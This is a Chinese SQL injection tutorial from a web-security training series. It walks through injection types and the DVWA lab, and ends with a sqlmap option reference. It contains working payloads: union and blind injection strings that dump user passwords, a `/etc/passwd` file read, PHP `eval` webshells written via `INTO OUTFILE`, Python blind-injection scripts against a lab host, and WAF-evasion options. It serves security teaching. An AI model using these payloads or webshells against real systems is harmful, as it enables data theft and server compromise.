本文由紅日安全成員: Aixic 撰寫,如有不當,還望斧正,
大家好,我們是紅日安全-Web安全攻防小組,此專案是關于Web安全的系列文章分享,還包含一個HTB靶場供大家練習,我們給這個專案起了一個名字叫 Web安全實戰 ,希望對想要學習Web安全的朋友們有所幫助,每一篇文章都是于基于漏洞簡介-漏洞原理-漏洞危害-測驗方法(手工測驗,工具測驗)-靶場測驗(分為PHP靶場、JAVA靶場、Python靶場基本上三種靶場全部涵蓋)-實戰演練(主要選擇相應CMS或者是Vulnhub進行實戰演練),如果對大家有幫助請Star鼓勵我們創作更好文章,如果你愿意加入我們,一起完善這個專案,歡迎通過郵件形式([email protected])聯系我們,
1. SQL注入
1.1 漏洞簡介
結構化查詢語言(Structured Query Language,縮寫:SQL),是一種特殊的編程語言,用于資料庫中的標準資料查詢語言,1986年10月,美國國家標準學會對SQL進行規范后,以此作為關系式資料庫管理系統的標準語言(ANSI X3. 135-1986),1987年得到國際標準組織的支持下成為國際標準,不過各種通行的資料庫系統在其實踐程序中都對SQL規范作了某些編改和擴充,所以,實際上不同資料庫系統之間的SQL不能完全相互通用,
1.2 漏洞原理
可以通過網站存在的查詢陳述句進行構造,為此開發者對其傷透了腦筋,漏洞不光是查詢,可能還存在與API、隱藏鏈接、http頭資料、寫入資料等,需要對資料包的結構和傳遞函式比較了解,建議學習的時候把資料庫的日志打開,就可以查看到傳遞到資料庫的陳述句是什么樣子的了,
需要記住的information_schema資料庫的SCHEMATA、TABLES、COLUMNS,
SCHEMATA表中存放所有資料庫的名,欄位名為SCHEMA_NAME,
關鍵函式database() 當前資料庫名、version() 當前mysql版本、user()當前mysql用戶.
1.3 漏洞危害
危害較高的漏洞,可以獲取敏感資訊,修改資訊,脫褲,上傳 webshell,執行命令,
2. SQL漏洞型別
2.1 區分數字和字串
數字上是不加單引號的如’2’+‘2’=‘22’而非’4’
而2+2=4
2.2 行內SQL注入
sql注入主要是靠行內SQL來進行注入的
and or 與或非的判斷來進行行內SQL注入,等于在原先的陳述句上擴展出來的陳述句
2.3 報錯注入
報錯注入顧名思義主要是利用資料庫報錯來進行判斷是否存在注入點,如果不符合資料庫語法規則就會產生錯誤,
常用的特殊字符:’ \ ; %00 ) ( # "
2.4 盲注
2.4.1 常用函式
1)函式length()
計算資料庫長度
id=1' and lengh(database())=8;
2)函式left(a)=b
sql的left()函式如果式子成立回傳1如果不成立回傳0
select left(database(),1)='r';
一般用來猜測庫的名字
3)函式substr()
substr()和substring()函式實作的功能是一樣的,均為截取字串,
substring(string, start, length)
substr(string, start, length)
length(可選)要回傳的字符數,如果省略,則 mid() 函式回傳剩余文本
select substr(database(),1,1)='a';
可進行單字符驗證可進行全字符驗證
4)函式mid()
mid(string,start,length)
string(必需)規定要回傳其中一部分的字串,
start(必需)規定開始位置(起始值是 1),
length(可選)要回傳的字符數,如果省略,則 mid() 函式回傳剩余文本
select mid(database(),1)='testt';
可進行單字符驗證可進行全字符驗證
5)函式ascii()
回傳字串str的最左字符的數值,回傳0,如果str為空字串,回傳NULL,如果str為NULL, ASCII()回傳數值是從0到255;
只會回傳最左邊字符的可以配合substr()

6)ord函式
ORD() 函式回傳字串第一個字符的 ASCII 值,

7)函式updatexml()
updatexml(XML_document, XPath_string, new_value);
第一個引數:XML_document是String格式,為XML檔案物件的名稱,文中為Doc
第二個引數:XPath_string (Xpath格式的字串) ,如果不了解Xpath語法,可以在網上查找教程,
第三個引數:new_value,String格式,替換查找到的符合條件的資料
在當前資料庫中演示
8)函式exp()
exp是以e為底的指數函式,可能會存在溢位
mysql> select exp(1);
+-------------------+
| exp(1) |
+-------------------+
| 2.718281828459045 |
+-------------------+
1 row in set (0.00 sec)
由于數字太大是會產生溢位,這個函式會在引數大于709時溢位,報錯
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
2.4.2 布爾型別注入
如果成功注入會正確顯示內容,如果沒成功會顯示非正常內容,
2.4.3 無報錯回顯注入
沒有任何報錯顯示,但是能根據頁面是否正確顯示來進行判斷,如搜索注入沒有內容,正常搜索應該是有內容的,
2.4.4 時間注入
如果exp1為true回傳值為sleep,如果為假回傳值為1,ps:前提是網路延遲較低的情況,,
if(length(database())>1,sleep(5),1)
2.5 堆疊查詢注入
通過分號隔開執行多條陳述句,
2.6 Union注入
前面不存在才會執行后面的陳述句,一般配合的是布爾型別的盲注
2.7 二次注入
在存入資料庫的時候做了過濾,但是取出來的時候沒有做過濾,而產生的資料庫注入,
2.8寬位元組注入
資料庫大多數為GBK才可以%df
2.9 cookie注入
cookie中的引數也有可能存在注入
2.10 編碼注入
Base64
2.11 XFF注入攻擊
X-Forwarded-for偽造客戶端IP
2.12 DNS_log
dnslog
2.13 組合注入
通過上述所有的注入方式進行組合攻擊,如union+盲注
3. SQL注入繞過
大小寫繞過
pathinfo配合dnslog
原本是id=1
變成1.txt?id=1
4. SQL資料庫種類
4.1 Access
本地訪問
4.2 MySQL
埠號:3306
需要記住默認庫information_schema和其中的表SCHEMATA、TABLES和COLUMNS
SCHEMATA 存盤的是用戶創建所有資料庫的庫名記錄資料庫庫名的欄位為SCHEMA_NAME,這就是為什么這條資料庫陳述句可以查詢到全部資料庫的原因
select schema_name from information_schema.schemata 查詢全部資料庫
select table_schema,table_name from information_schema.tables 查詢全部資料庫和表的對應
select column_name from information_schema.columns; 查詢全部列
select 列 from xxxx庫.xxx表; 查詢值
limit 后使用 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1) 這種方式觸發 sql 注入,受到 Mysql 版本的限制,其區間在 Mysql 5.1.5 - Mysql5.5 附近,
注釋符號:--空格,/ /行內注釋,# Mysql–后面要加一個空格或者控制字符要不無法注釋
‘a’ ‘b’=‘ab’
4.3 SQLSever
埠號:1433
注釋符號:--,/ /注釋
‘a’+‘b’=‘ab’
4.4 Oracle
埠號:1521
注釋符號:--,/ /注釋
‘a’||‘b’=‘ab’
4.5 PostgreSQL
埠號:5432或者5433
注釋符號:--,/ /注釋
‘a’||‘b’=‘ab’
4.6 DB2
埠號:5000
SQLite
一種資料庫檔案,特別小,就一個庫多個表,可用sqlite或者sqlite2打開
4.7 MongoDB
埠號:27017
5. SQL攻擊手段
5.1 資料庫提權
5.2 萬能密碼登陸
ASP站點’or’=‘or’
5.3 竊取哈希口令
5.4 資料庫Dump
5.5 讀寫檔案
5.5.1 load_file()讀取檔案操作
前提:
知道檔案的絕對路徑
能夠使用 union 查詢
對 web 目錄有寫的權限
union select 1,load_file('/etc/passwd'),3,4,5#
0x2f6574632f706173737764
union select 1,load_file(0x2f6574632f706173737764),3,4,5#
路徑沒有加單引號的話必須轉換十六進制
要是想省略單引號的話必須轉換十六進制
5.5.2 into outfile 寫入檔案操作
前提:
檔案名必須是全路徑(絕對路徑)
用戶必須有寫檔案的權限
沒有對單引號'過濾
select '<?php phpinfo(); ?>' into outfile 'C:\Windows\tmp\8.php'
select '<?php @eval($_POST["admin"]); ?>' into outfile
'C:\phpStudy\PHPTutorial\WWW\8.php'
路徑里面兩個反斜杠\可以換成一個正斜杠/
PHP 陳述句沒有單引號的話,必須轉換成十六進制
要是想省略單引號'的話,必須轉換成十六進制
<?php eval($_POST["admin"]); ?> 或者 <?php
eval($_GET["admin"]); ?>
<?php @eval($_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
有時候得寫成
<?php eval(\$_POST["admin"]); ?>
建議一句話 PHP 陳述句轉換成十六進制
5.5.3 資料庫備份檔案
6. 測驗方法
6.1 手工測驗
這里我們采用DVWA靶場進行手工測驗,
6.1.1 DVWA 簡介
DVWA是用PHP+Mysql撰寫的一套用于常規WEB漏洞教學和檢測的WEB脆弱性測驗程式,包含了SQL注入、XSS、盲注等常見的一些安全漏洞,
6.1.2 DVWA 安裝
https://github.com/ethicalhack3r/DVWA/archive/master.zip
本地PHPStudy搭建DVWA靶機,放入www目錄下即可
環境使用PHP+MySQL即可,
6.1.3 測驗程序
6.1.3.4 Low
(1)SQL Injection
其他難度主要是為繞過手段,

判斷是否存在注入在這里使用一個分號來進行擾亂資料庫

查看資料庫,發現命令沒有生效

使用%23來把后面的內個分號進行注釋,這里不能使用#因為#為php的錨點不會傳遞到服務器,可以正常查詢

資料庫中發現#把后面的引號注釋掉了導致陳述句成功執行

利用這個特性來進行注入構造陳述句id=1'or 1=1%23因為后面1=1為真就會把全部的欄位全部輸出出來,

改一下代碼顯示sql陳述句,
/var/www/html/www1/vulnerabilities/sqli/source在這個檔案下有原始碼在+一條echo $query
(2)堆疊注入

不知道為何會報錯把這條陳述句復制下來在mysql命令列輸入沒有報錯正常顯示

(3)union注入
第一步先進行欄位數量判斷order by xx

order by 3的時候出現了報錯說明為2個欄位代碼中也能體現,但是如果是滲透測驗是看不見資料庫命令的只能通過這個去嘗試

得出2個欄位后進行union注入id=1'union+select+1,2%23

1和2都顯示了說明都可以進行替換,

?id=1'union+select+table_schema,table_name from information_schema.tables%23把所有資料庫的庫和表都對應的顯示出來了,尋找需要的表


再去查欄位?id=1'union+select+column_name,2 from information_schema.columns%23到最后找到屬于users表的欄位
first_name,password再去構造查詢陳述句

?id=1'union+select+first_name,password from dvwa.users查詢到要拿到的內容了想想有沒有簡單的方法,

直接去查詢他的表對應的欄位就簡單了
?id=1'union+select+table_name,column_name from information_schema.columns%23
所以只需要記住information_schema庫下的columns表中的欄位就可以了庫是table_schema,表是table_name,欄位是column_name

(4)SQL Injection(Bind)
盲注即為不回顯內容需要進行嘗試根據頁面回傳的內容是否正常來進行判斷


說明存在盲注

(5)行內注入
直接用行內注入簡單快捷,,
用length(database())=xx來判斷資料庫名長度如果成立就會回傳正常

說明資料庫名為4位

1' and mid(database(),1,1)<'g'#使用mid來判斷資料庫第一位的內容只需要修改第二個標志位來判斷位數如果為正確就會回傳存在ID

1' and mid(database(),2,1)='v'#

后面就省略了,之后會有腳本教學進行判斷
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 顯示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 顯示存在說明當前資料庫存在兩個表
1' and length(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# 顯示存在說明第一個表名字長度為9
1' and mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g'# 顯示存在說明第一個表的第一個字為g
1' and mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u'# 顯示存在說明users表的第一個欄位為u
1' and mid((select first_name from dvwa.users limit 0,1),1,1)='a'# 顯示存在說明first_name的欄位,第一個的資料為a
時間盲注加個sleep就可以了
1' and if(length(database())=1,sleep(5),1) # 沒有延遲
1' and if(length(database())=2,sleep(5),1) # 沒有延遲
1' and if(length(database())=3,sleep(5),1) # 沒有延遲
1' and if(length(database())=4,sleep(5),1) # 明顯延遲
6.1.3.2 Medium
(1)SQL Injection
只做繞過不進行詳細測驗,
發現只是改成了POST型,加了個過濾特殊符號的函式,改成了數字型注入,

成功注入


SQL Injection(Bind)
一樣就是改成了POST和過濾,數字型盲注,

正常繞過了

6.1.3.3 High
(1)SQL Injection
通過外部傳遞進來的session的id和限制一次只能顯示一行

繞過了limit的限制

成功注入

需要特別提到的是,High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止一般的sqlmap注入,因為sqlmap在注入程序中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入,
SQL Injection(Bind)
跟上面差不多這個是Cookie的傳遞id,limit也是限制顯示一行

這個比顯示注入簡單些,直接能在cookie處修改注入
成功繞過

6.1.3.4 Impossible
(1)SQL Injection
做了個CSRF的防御,使用了PDO進行了分離資料和引數
先判斷了一下id是否為數字如果不為數字直接就會跳過資料庫查詢,bindParam把id轉換為int型,防止輸入的數字為字符,進行查詢有效限制了惡意構造陳述句

(2)SQL Injection(Bind)
跟如上一樣

6.2 工具測驗
繼續對DVWA靶場進行測驗,
6.2.1 Python半自動化腳本
多用于盲注,這里只演示盲注
6.2.1.1 注入資料庫名
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
url="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
a=""
for i in range(1,20):
for j in payload:
url1="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
url_code_name = urllib.parse.quote(url1)
#print(url1)
try:
rp = urllib.request.Request(url + url1 + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a+=j
print(a)
break
except:
continue
6.2.1.2 查詢資料庫名
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
for i in range(1,20):
for j in payload:
#url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
try:
rp = urllib.request.Request(urlhead + url + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a+=j
print(a)
c = 0
break
except:
continue
c += 1

6.2.1.3 查詢資料庫的全部表
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
for i in range(1,20):
for j in payload:
#url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
try:
rp = urllib.request.Request(urlhead + url + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a+=j
print(a)
c = 0
break
except:
continue
c += 1

6.2.1.4 查詢資料庫的表的全部欄位
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
for i in range(1,20):
for j in payload:
#url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
try:
rp = urllib.request.Request(urlhead + url + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a+=j
print(a)
c = 0
break
except:
continue
c += 1

6.2.1.5 查詢欄位資料
"""
@Product:DVWA
@Author:Aixic
@create:2019-06-04-19:33
"""
import urllib.request
header={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'
,'Cookie':'PHPSESSID=248dmjg65dksvfvf8kk0k7vqj0; security=low'}
payload="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_{}"
urlhead="http://192.168.123.20/vulnerabilities/sqli_blind/?id=1"
end="&Submit=Submit#"
#1%27+and+mid%28database%28%29%2C1%2C1%29%3D%27d%27%23
if __name__ == '__main__':
a=""
c = 0
for k in range(0,20):
a+="\r\n"+str(k)+":"
if c==2:
print("結束了")
exit()
for i in range(1,20):
for j in payload:
#url="%27+and+mid%28database%28%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+schema_name+from+information_schema.schemata+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+table_name+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#url="%27+and+mid%28%28select+column_name+from+information_schema.columns+where+table_name%3D%27users%27+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
url="%27+and+mid%28%28select+first_name+from+dvwa.users+limit+"+str(k)+"%2C1%29%2C"+str(i)+"%2C1%29%3D%27"+str(j)+"%27%23"
#' and mid((select schema_name from information_schema.schemata limit 0,1),1,1)='i'#
try:
rp = urllib.request.Request(urlhead + url + end, headers=header)
respon = urllib.request.urlopen(rp)
html = respon.read().decode('utf-8')
if "User ID exists in the database." in html:
a+=j
print(a)
c = 0
break
except:
continue
c += 1

6.2.2 SQLMAP
6.2.2.1 SQLMAP引數
(1)Options
-h, --help 查看幫助,沒什么好說的
-hh 查看全部的幫助
--version 查看版本
-v 顯示資訊的級別,一共有六級:0:只顯示python 錯誤和一些嚴重資訊;1:顯示基本資訊(默認);2:顯示debug資訊;3:顯示注入程序的payload;4:顯示http請求包;5:顯示http回應頭;7:顯示http相應頁面,
(2)Target
-d 直接連目標后端接資料庫,而不是使用sql注入漏洞,直接通過目標的偵聽埠連接,當然需要有目標資料庫的賬號名和密碼,例:-d "mysql://user:[email protected]:3389/databasename" --dbs 查詢非常快,
-u 指定一個url連接,url中必須有?xx=xx 才行(最常用的引數)例:-u "www.abc.com/index.php?id=1"
-l 后接一個log檔案,可以是burp等的代理的log檔案,之后sqlmap會掃描log中的所有記錄,例: -l log.txt
-x 站點地圖,提交給sql一個xml檔案,
-m 后接一個txt檔案,檔案中是多個url,sqlmap會自動化的檢測其中的所有url,例: -m target.txt
-r 可以將一個post請求方式的資料包保存在一個txt中,sqlmap會通過post方式檢測目標,例: -r post.txt
-g 使用google引擎搜索類似的網址,并且多目標檢測,例: -g "inurl:\".php?id=1\"" \是轉義
-c 將使用的命令寫在一個檔案中,讓sqlmap執行檔案中的命令,我們可以用--save命令將配置寫入檔案,
(3)Request
--method=METHOD 指定是get方法還是post方法,例: --method=GET --method=POST
--data=https://www.cnblogs.com/hongrisec/p/DATA 指明引數是哪些,例:-u"www.abc.com/index.php?id=1" --data="https://www.cnblogs.com/hongrisec/p/name=1&pass=2"
--param-del=PARA. 指明使用的變數分割符,例: -u "www.abc.com/index.php?id=1" --data="https://www.cnblogs.com/hongrisec/p/name=1;pass=2" --param-del=";"
--cookie=COOKIE 指定測驗時使用的cookie,通常在一些需要登錄的站點會使用,例: -u "www.abc.com/index.php?id=1" --cookie="a=1;b=2"
--cookie-del=COO.. 和前面的 --param-del=PARA. 類似,就是指明分割cookie的字符,
--load-cookies=L.. 從包含Netscape / wget格式的cookie的檔案中加載cookie,
--drop-set-cookie 默認情況下,sqlmap是開啟set-cookie功能的,也就是當收到一個含有set-cookie的http包的時候,下次sql會使用新的cookie進行發包,如果使用這條命令,就會關閉這個功能,在level>=2時會檢測cookie注入,
--user-agent=AGENT 指定一個user-agent的值進行測驗,例: --user-agent="aaaaaaa" 默認情況下,sqlmap會使用自己的user-agent進行測驗(所以很多服務器發現user-agent是sqlmap的資料包直接認為是入侵),sqlmap自己的user-agent是:sqlmap/1.0-dev-nongit-201603020a89(http://sqlmap.org)
--random-agent 使用隨機user-agent進行測驗,sqlmap有一個檔案中儲存了各種各樣的user-agent,檔案在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入,
--host=HOST 指定http包中的host頭引數,例: --host="aaaaaa" 在level>=5時才會檢查host頭注入,\n是換行
--referer=REFERER 指定http包中的refere欄位,例: --refere="aaaaa" 在level>=3時才會檢測refere注入,
-H --headers 額外的header頭,每個占一行,例:--headers="host:www.a.com\nUser-Agent:yuangh"
--headers=HEADERS 跟上邊一樣,再舉一個例子: --headers="Accept-Language: fr\nETag: 123" 注意所有構造http包的部分均區分大小寫
--auth-type=AUTH.. 基于http身份驗證的種類,例: --auth-type Basic/Digest/NTLM 一共有三種認證方式,
--auth-cred=AUTH.. 使用的認證,例: --auth-type Basic --auth-cred "user:password"
--auth-file=AUTH.. 使用.PEM檔案中的認證,例:--auth-file="AU.PEM" 少見,
--ignore-code=IG.. 無視http狀態碼,例: --ignore-code=401
--ignore-proxy 無視本地的代理,有時候機器會有最基本的代理配置,在掃描本地網段的時候會很麻煩,使用這個引數可以忽略代理設定,
--ignore-redirects 無視http重定向,比如登錄成功會跳轉到其他網頁,可使用這個忽略掉,
--ignore-timeouts 忽略連接超時,
--proxy=PROXY 指定一個代理,例: --proxy="127.0.0.1:8087" 使用GoAgent代理,
--proxy-cred=PRO.. 代理需要的認證,例: --proxy="name:password"
--proxy-file=PRO.. 從一個檔案加載代理的認證,
--tor 使用tor匿名網路,不懂,
--tor-port=TORPORT 設定默認的tor代理埠,不懂+2,
--tor-type=TORTYPE 設定tor代理種類,(HTTP, SOCKS4 or SOCKS5 (默認)),不懂+3,
--check-tor 檢查是否正確使用Tor,不懂+4,
--delay=DELAY 每次發包的延遲時間,單位為秒,浮點數,例:--delay 2.5 有時候頻繁的發包會引起服務器注意,需要使用delay降低發包頻率,
--timeout=TIMEOUT 請求超時的時間,單位為秒,浮點數,默認30s,
--retries=RETRIES 超時重連次數,默認三次,例: --retries=5
--randomize=RPARAM 引數的長度,型別與輸入值保持一致的前提下,每次請求換引數的值,有時候反復的提交同一個引數會引起服務器注意,
--safe-url=SAFEURL 用法和-u類似,就是一個加載測驗url的方法,但額外功能是防止有時候時間長了不通訊服務器會銷毀session,開啟這種功能會隔一段時間發一個包保持session,
--safe-post=SAFE.. 和上面的一樣,只是使用post的方式發送資料,
--safe-req=SAFER.. 和上面的一樣,只是從一個檔案獲得目標,
--safe-freq=SAFE.. 頻繁的發送錯誤的請求,服務器也會銷毀session或者其他懲罰方式,開啟這個功能之后,發幾次錯的就會發一次對的,通常用于盲注,
--skip-urlencode 跳過url編碼,畢竟不排除有的奇葩網站url不遵守RFC標準編碼,
--csrf-token=CSR.. 保持csrf令牌的token,
--csrf-url=CSRFURL 訪問url地址獲取csrf的token,
--force-ssl 強制使用ssl,
--hpp 使用http引數污染,通常http傳遞引數會以名稱-值對的形勢出現,通常在一個請求中,同樣名稱的引數只會出現一次,但是在HTTP協議中是允許同樣名稱的引數出現多次的,就可能造成引數篡改,
--eval=EVALCODE 執行一段指定的python代碼,例: -u "www.abc.com/index.php?id=1" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
(4)Optimization
-o 開啟下面三項(--predict-output,--keep-alive, --null-connection)
--predict-output 預設的輸出,可以理解為猜一個表存在不存在,根據服務器回傳值來進行判斷,有點類似暴力破解,但和暴力破解又不同,這個是一個范圍性的暴力破解,一次一次的縮小范圍,
--keep-alive 使用http(s)長鏈接,性能更好,避免重復建立鏈接的開銷,但占用服務器資源,而且與--proxy不兼容,
--null-connection 只看頁面回傳的大小值,而不看具體內容,通常用于盲注或者布爾的判斷,只看對錯,不看內容,
--threads=THREADS 開啟多執行緒,默認為1,最大10,和 --predict-output 不兼容,
Injection
-p TESTPARAMETER 知道測驗的引數,使用這個的話--level 引數就會失效,例: -p "user-agent,refere"
--skip=SKIP 排除指定的引數,例: --level 5 --skip="id,user-agent"
--skip-static 跳過測驗靜態的引數,
--param-exclude=.. 使用正則運算式跳過測驗引數,
--dbms=DBMS 指定目標資料庫型別,例: --dbms="MySQL<5.0>" Oracle<11i> Microsoft SQL Server<2005>
--dbms-cred=DBMS.. 資料庫的認證,利: --dbms-cred="name:password"
--os=OS 指定目標作業系統,例: --os="Linux/Windows"
--invalid-bignum 通常情況下sqlmap使用負值使引數失效,比如id=1->id=-1,開啟這個之后使用大值使引數失效,如id=9999999999,
--invalid-logical 使用邏輯使引數失效,如id=1 and 1=2,
--invalid-string 使用隨機字串使引數失效,
--no-cast 獲取資料時,sqlmap會將所有資料轉換成字串,并用空格代替null,
--no-escape 用于混淆和避免出錯,使用單引號的字串的時候,有時候會被攔截,sqlmap使用char()編碼,例如:select “a”-> select char(97),
--prefix=PREFIX 指定payload前綴,有時候我們猜到了服務端代碼的閉合情況,需要使用這個來指定一下,例: -u "www.abc.com/index?id=1" -p id --prefix")" --suffix "and ('abc'='abc"
--suffix=SUFFIX 指定后綴,例子同上,
--tamper=TAMPER 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips,
(5)Detection
--level=LEVEL 設定測驗的等級(1-5,默認為1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads檔案內可以看見各個level發送的payload
--risk=RISK 風險(1-4,默認1)升高風險等級會增加資料被篡改的風險,risk 2:基于事件的測驗;risk 3:or陳述句的測驗;risk 4:update的測驗
--string=STRING 在基于布爾的注入時,有的時候回傳的頁面一次一個樣,需要我們自己判斷出標志著回傳正確頁面的標志,會根據頁面的回傳內容這個標志(字串)判斷真偽,可以使用這個引數來制定看見什么字串就是真,
--not-string=NOT.. 同理,這個引數代表看不見什么才是真,
--regexp=REGEXP 通常和上面兩種連用,使用正則運算式來判斷,
--code=CODE 也是在基于布爾的注入時,只不過指定的是http回傳碼,
--text-only 同上,只不過指定的是頁面里的一段文本內容,
--titles 同上,只不過指定的是頁面的標題,
(6)Techniques
--technique=TECH 指定所使用的技術(B:布爾盲注;E:報錯注入;U:聯合查詢注入;S:檔案系統,作業系統,注冊表相關注入;T:時間盲注; 默認全部使用)
--time-sec=TIMESEC 在基于時間的盲注的時候,指定判斷的時間,單位秒,默認5秒,
--union-cols=UCOLS 聯合查詢的嘗試列數,隨level增加,最多支持50列,例: --union-cols 6-9
--union-char=UCHAR 聯合查詢默認使用的占列的是null,有些情況null可能會失效,可以手動指定其他的,例: --union-char 1
--union-from=UFROM 聯合查詢從之前的查詢結果中選擇列,和上面的類似,
--dns-domain=DNS.. 如果你控制了一臺dns服務器,使用這個可以提高效率,例: --dns-domain 123.com
--second-order=S.. 在這個頁面注入的結果,在另一個頁面顯示,例: --second-order 1.1.1.1/b.php
(7)Fingerprint
-f, --fingerprint 指紋資訊,回傳DBMS,作業系統,架構,補丁等資訊,
(8)Enumeration
-a, --all 查找全部,很暴力,直接用-a
-b, --banner 查找資料庫管理系統的標識,直接用-b
--current-user 當前用戶,常用,直接用--current-user
--current-db 當前資料庫,常用,直接用--current-db
--hostname 主機名,直接用--hostname
--is-dba
--users 查詢一共都有哪些用戶,常用,直接用--users
--passwords 查詢用戶密碼的哈希,常用,直接用--passwords
--privileges 查看特權,常用,例: --privileges -U username (CU 就是當前用戶)
--roles 查看一共有哪些角色(權限),直接用--roles
--dbs 目標服務器中有什么資料庫,常用,直接用--dbs
--tables 目標資料庫有什么表,常用,直接用--tables
